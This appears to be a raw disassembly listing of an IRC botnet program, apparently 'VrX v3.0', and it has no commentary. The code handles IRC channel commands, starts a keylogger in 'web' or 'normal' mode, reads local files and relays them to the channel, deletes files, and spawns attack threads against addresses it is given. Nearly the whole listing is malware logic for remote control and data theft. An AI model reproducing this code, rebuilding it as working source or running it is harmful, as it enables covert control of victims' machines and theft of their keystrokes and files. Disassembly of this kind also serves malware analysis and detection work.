push 0FFh ; Count
lea eax, [ebp+var_25D4]
push edi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax ; Dest
call _sprintf
mov eax, [ebp+esi+Str2]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+Dst]
push offset asc_42A4C4 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 1Eh ; int
push eax ; Source
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset sub_4167A0
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42A488
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset asc_42A440 ; "-"
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
pop ecx
push eax
lea eax, [ebp+Dst]
push [ebp+Format]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push edi ; Str
call _atoi
add esp, 28h
test eax, eax
jle short loc_408591
push edi ; Str
call _atoi
imul eax, 3E8h
pop ecx
push eax
call ds:dword_427080 ; Sleep
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A41C
call sub_415D38
mov eax, [ebp+File]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+Format]
lea eax, [ebp+Dst]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
add esp, 24h
lea eax, [ebp+Dst]
push esi
push offset unk_42A404 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415D38
push edi ; Str
call _atoi
add esp, 14h
test eax, eax
jle loc_409644
push edi ; Str
call _atoi
add eax, [ebp+File]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+Dst]
push offset unk_42A3D0 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+Dst]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh ; Count
lea eax, [ebp+var_2218]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2198]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_2118]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+Dst]
push edi
push offset asc_42A39C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Fh ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset sub_414F57
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A360
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh ; Count
lea eax, [ebp+var_23AC]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_232C]
push [ebp+arg_18] ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_22AC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+Dst]
push edi
push offset asc_42A334 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 11h ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset sub_414703
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset asc_42A2F8 ; "-"
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+Dst]
push [ebp+var_4]
push eax
push [ebp+Format]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+Dst]
push offset aPartS_0 ; "PART %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+Dst]
push eax ; Args
push offset aS ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+Str2]
lea eax, [ebp+Dst]
push [ebp+arg_18]
push offset aJoinSS_0 ; "JOIN %s %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 10h
test eax, eax
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+Dst]
push eax ; Args
push offset aS ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi ; Args
push offset dword_42A2C0 ; Format
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+Dst]
push offset aModeS ; "MODE %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+Dst]
push eax ; Args
push offset aS ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A29C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
push esi ; Args
push offset aS ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A280
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
jz loc_409644
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi ; Args
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A258
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18] ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
push edi ; Str
call _atoi
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_427080 ; Sleep
push [ebp+esi+Str2]
push [ebp+arg_18] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
push offset dword_42A238
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+arg_18] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+Dst]
push offset dword_42A968 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push edi ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A21C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+arg_18] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx ; int
push ebx ; int
push esi ; int
push edi ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A200
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax ; int
push edi ; Str2
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1E4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18] ; int
push edi ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi ; SubStr
push [ebp+arg_1C] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+Format]
cmp esi, ebx
jz loc_408CB1
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+Dst]
push [ebp+Format]
push dword ptr [ebp+Args]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
add esp, 24h
lea eax, [ebp+Dst]
push esi
push edi
push offset unk_42A1C0 ; Format
push eax ; Dest
call _sprintf
add esp, 10h
inc [ebp+File]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+Dst]
push offset unk_42A190 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
lea eax, [ebp+Dst]
push edi
push offset unk_42A178 ; Format
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi ; Str
push 23h ; int
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push [ebp+arg_4] ; int
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi ; Str2
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+Format]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+Format]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi ; Format
lea eax, [ebp+var_A90]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi ; Str2
push offset aNormal_0 ; "normal"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+Format]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi ; Format
lea eax, [ebp+var_A90]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dst]
pop ecx
push ebx ; int
push 23h ; int
push eax ; Source
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_4126A7
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi ; Filename
call _fopen
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi ; File
lea eax, [ebp+Dst]
push ebx ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
push esi ; File
lea eax, [ebp+Dst]
push ebx ; MaxCount
push eax ; Buf
call _fgets
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi ; File
call _fclose
pop ecx
push edi
push offset unk_42A0A4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A084
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A080 ; "\n"
push esi ; Dest
call _strcat
push esi ; Str
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A054
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+Dst]
push offset asc_42A03C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax ; Format
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A01C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset asc_42A000 ; "-"
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh ; Count
lea eax, [ebp+var_2084]
push edi ; Source
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+Format]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh ; Count
lea eax, [ebp+var_2004]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh ; Count
lea eax, [ebp+var_1F84]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+Dst]
push offset asc_429FE8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ch ; int
push eax ; Source
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset asc_429FA8 ; "-"
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx ; Source
push [ebp+Format] ; int
push [ebp+arg_4] ; int
push edi ; Str
call sub_41036B
add esp, 10h
push edi
push offset dword_429F90
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h ; Size
lea eax, [ebp+var_1D4C]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax ; Format
lea eax, [ebp+var_1C34]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+Dst]
push offset asc_429F6C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset sub_4161C1
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
call ds:dword_427088 ; DeleteFileA
test eax, eax
jz short loc_4091C7
push edi
push offset asc_429F50 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi ; Str
call _atoi
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F2C
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset asc_429EFC ; "-"
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx ; int
push ebx ; int
push edi ; Str2
push [ebp+var_4] ; int
push ebx ; Str
push [ebp+arg_4] ; int
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EDC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EAC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
